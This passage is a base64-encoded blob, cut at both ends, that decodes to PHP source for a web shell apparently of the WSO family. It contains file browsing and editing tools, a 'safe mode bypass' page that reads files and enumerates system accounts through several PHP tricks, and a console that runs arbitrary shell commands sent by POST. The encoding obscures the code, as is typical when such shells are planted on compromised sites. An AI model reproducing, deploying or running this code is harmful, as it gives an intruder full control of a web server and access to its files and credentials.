k2KTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCiAgICAgICAgICAgICAgICAkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAiLiR0eXBlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7DQogICAgICAgICAgICBpZigkZnApIHsNCiAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsNCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYoaXNfZGlyKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgew0KDQogICAgICAgIH0NCiAgICAgICAgZXhpdDsNCiAgICB9DQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOw0KICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgIGlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7DQogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7DQogICAgICAgIHByaW50Rm9vdGVyKCk7DQogICAgICAgIHJldHVybjsNCiAgICB9DQogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOw0KICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCiAgICBlY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsNCiAgICBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsNCiAgICBpZiggZW1wdHkoJF9QT1NUWydwMiddKSApDQogICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsNCiAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkNCiAgICAgICAgJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KICAgIGVsc2UNCiAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQogICAgZm9yZWFjaCgkbSBhcyAkdikNCiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsNCiAgICBlY2hvICc8YnI+PGJyPic7DQogICAgc3dpdGNoKCRfUE9TVFsncDInXSkgew0KICAgICAgICBjYXNlICd2aWV3JzoNCiAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPic7DQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8L3ByZT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2hpZ2hsaWdodCc6DQogICAgICAgICAgICBpZiggaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsNCiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7DQogICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdjaG1vZCc6DQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsNCiAgICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQ0KICAgICAgICAgICAgICAgICAgICAkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOw0KICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdlZGl0JzoNCiAgICAgICAgICAgIGlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSwkX1BPU1RbJ3AzJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2hleGR1bXAnOg0KICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsNCiAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KICAgICAgICAgICAgJGxlbiA9IHN0cmxlbigkYyk7DQogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsNCiAgICAgICAgICAgICAgICAkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOw0KICAgICAgICAgICAgICAgIHN3aXRjaCAoIG9yZCgkY1skaV0pICkgew0KICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBjYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbisrOw0KICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgew0KICAgICAgICAgICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9DQogICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgJGhbMl0gLj0gIlxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3JlbmFtZSc6DQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQogICAgICAgICAgICAgICAgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3QgcmVuYW1lITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAndG91Y2gnOg0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KICAgICAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7DQogICAgICAgICAgICAgICAgaWYoJHRpbWUpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpDQogICAgICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOw0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0ZhaWwhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCE8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnbWtmaWxlJzoNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgYnJlYWs7DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7DQogICAgJHRlbXA9Jyc7DQogICAgb2Jfc3RhcnQoKTsNCiAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7DQogICAgICAgIGNhc2UgMToNCiAgICAgICAgICAgICR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsNCiAgICAgICAgICAgIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7DQogICAgICAgICAgICAgICAgZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOw0KICAgICAgICAgICAgICAgIHVubGluaygkdGVtcCk7DQogICAgICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgICAgICBlY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlIDI6DQogICAgICAgICAgICAkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOw0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCRmaWxlcykgKQ0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGZpbGVuYW1lLiJcbiI7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAzOg0KICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLlNFTEZfUEFUSCk7DQogICAgICAgICAgICBjdXJsX2V4ZWMoJGNoKTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlIDQ6DQogICAgICAgICAgICBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQogICAgICAgICAgICBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQogICAgICAgICAgICBpbmNsdWRlKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSA1Og0KICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7DQogICAgICAgICAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAgIGlmICgkdWlkKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvIGpvaW4oJzonLCR1aWQpLiJcbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSA2Og0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaW1hcF9vcGVuJykpYnJlYWs7DQogICAgICAgICAgICAkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIiIsICIiKTsNCiAgICAgICAgICAgIGlmICgkc3RyZWFtID09IEZBTFNFKQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7DQogICAgICAgICAgICBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgfQ0KICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+U2FmZSBtb2RlIGJ5cGFzczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQogICAgZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+UG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PGJyPjxzcGFuPkltYXBfb3BlbiAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI2Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgIGlmKCR0ZW1wKQ0KICAgICAgICBlY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+Jy4kdGVtcC4nPC9wcmU+JzsNCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7DQogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2YuY21kLnZhbHVlPScnO1xuIjsNCiAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsNCiAgICAgICAgaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKSAgICB7DQogICAgICAgICAgICBpZihAY2hkaXIoJG1hdGNoWzFdKSkgew0KICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsNCiAgICAgICAgICAgICAgICBlY2hvICJkb2N1bWVudC5tZi5jLnZhbHVlPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsNCiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsNCiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCiAgICAgICAgZXhpdDsNCiAgICB9DQogICAgcHJpbnRIZWFkZXIoKTsNCg0KZWNobyAnPHNjcmlwdD4NCmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7DQp2YXIgY21kcyA9IG5ldyBBcnJheSgiIik7DQp2YXIgY3VyID0gMDsNCmZ1bmN0aW9uIGtwKGUpIHsNCiAgICB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsNCiAgICBpZihuID09IDM4KSB7DQogICAgICAgIGN1ci0tOw0KICAgICAgICBpZihjdXI+PTApDQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGN1cisrOw0KICAgIH0gZWxzZSBpZihuID09IDQwKSB7DQogICAgICAgIGN1cisrOw0KICAgICAgICBpZihjdXIgPCBjbWRzLmxlbmd0aCkNCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgY3VyLS07DQogICAgfQ0KfQ0KZnVuY3Rpb24gYWRkKGNtZCkgew0KICAgIGNtZHMucG9wKCk7DQogICAgY21kcy5wdXNoKGNtZCk7DQogICAgY21kcy5wdXNoKCIiKTsNCiAgICBjdXIgPSBjbWRzLmxlbmd0aC0xOw0KfQ0KPC9zY3JpcHQ+JzsNCiAgICBlY2hvICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGRvY3VtZW50LmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkb2N1bWVudC5jZi5vdXRwdXQudmFsdWU9XCdcJztkb2N1bWVudC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsNCiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsNCiAgICAgICAgaWYoJHYgPT0gJycpIHsNCiAgICAgICAgICAgIGVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsNCiAgICB9DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTtpZihkb2N1bWVudC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fSIgdmFsdWU9Ij4+Ij4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0